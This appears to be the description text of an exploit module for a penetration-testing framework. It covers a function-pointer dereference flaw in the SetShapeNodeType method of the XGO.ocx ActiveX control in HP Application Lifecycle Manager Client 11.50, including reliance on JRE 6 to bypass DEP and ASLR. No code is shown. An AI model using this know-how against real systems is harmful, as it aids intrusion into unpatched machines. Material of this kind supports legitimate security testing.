          This module exploits a vulnerability within the XGO.ocx ActiveX Control
        installed with the HP Application Lifecycle Manager Client. The vulnerability
        exists in the SetShapeNodeType method, which allows the user to specify memory
        that will be used as an object, through the node parameter. It allows to control
        the dereference and use of a function pointer. This module has been successfully
        tested with HP Application Lifecycle Manager 11.50 and requires JRE 6 in order to
        bypass DEP and ASLR.
